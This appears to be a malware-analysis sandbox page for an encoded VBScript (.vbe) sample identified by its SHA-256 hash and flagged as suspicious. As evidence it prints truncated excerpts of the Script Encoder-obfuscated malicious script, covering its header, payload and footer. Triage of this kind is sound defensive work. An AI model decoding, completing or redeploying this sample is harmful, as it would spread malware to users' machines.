Suspicious 80% Download

91a053b787648295c22f78dd44aeac1c48dd8a2e7dfb051edc10aeb1a089cfe3.vbe

Encoded VBScript malware

Microsoft Script Encoder protected scriptVBScript has long average lines
SHA-25691a053b787648295c22f78dd44aeac1c48dd8a2e7dfb051edc10aeb1a089cfe3
MaleculeO(As₃)Md

Evidence

Microsoft Script Encoder protected script line 1
1#@~^wMwGAA==@#@&@#@&}wDkW PAaw^k^kD@#@&@#@&ZW dY,bb&])P,P,P~P~~,'~JT-Sb0dK\29UC:s"J@#@&;WUkY,IA_sg~P{PER74dE@#@&ZKU/DPrG$u},P,P~'~E_|/j'jW6YACM+-E@#@&ZGxkO,Cen}oPP,P,xPrnPFtJ~@#@&@#@&@#@&@#@&fks~ .;bt~~Me)`qSPwerGC@#@&@#@&?nO,serGu,'~;DlYr(%+1YcJq?^.bwYcjtVVrb@#@&@#@&@#@&@#@&@#@&@#@&jE(~2oq3iv#@#@&~,P~fbh,fHd.~@#@&,P,~@#@&P~P,@#@&~,PPGHSjAP{~]+aVmmn`9$wf!`G$sGMc9~sf!cr&f&Ff2&T2&2v&W&+f&2Gf&2Gff2v&2f*2&&Fff&y&2&{&ff2&f&+f&2%ff2v&ffl&f&+fW&f2&2v&W&2f&2 f&2!ff2 &Wfc2&&lff&F&2&&ffO&f&+fc2*ff2v&ffW&f&+fW&2&2G&2&Ff&2*f&2&ff2G&2fc2&&Fff&O&2&&*f2&f&+f&2*ff2 &ffZ&f&Wf2&02&2v&2&Of&2vf&2cff2v&2fc2&&+ff&l&2 …
Percent-encoded content decoded line 1
1:288340… f*9Z!T!ZqF2!oTRFvqqZsqvZ0R2O RvvZ!ZT!z!T!RFq8!sZ0%Av,Z002+,y%vTTZ!TbZTF8!oT;!!qqZ%02+1Z%0AvOs2Z 8fFZFqFZ 9$wFFZ0%Av,8{9b8GGv0f*9Z!T!ZqF2!)q8!%03+,qGG)8&q8FFF&8 y$FOFq!zFqqyFGG)F8!%8qq OcZ%qFq+8G9bO*v8,3q8F q{ …
Microsoft Script Encoder footer line 1
1:445571… &,PP~@#@&P~P,(6PHKY,I5;1xc#,K4+ @#@&~,PP,~P,2(&3i`*@#@&P~P~3 N~q6@#@&Ax[~UE4@#@&@#@&@#@&7aBkAQ==^#~@�

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.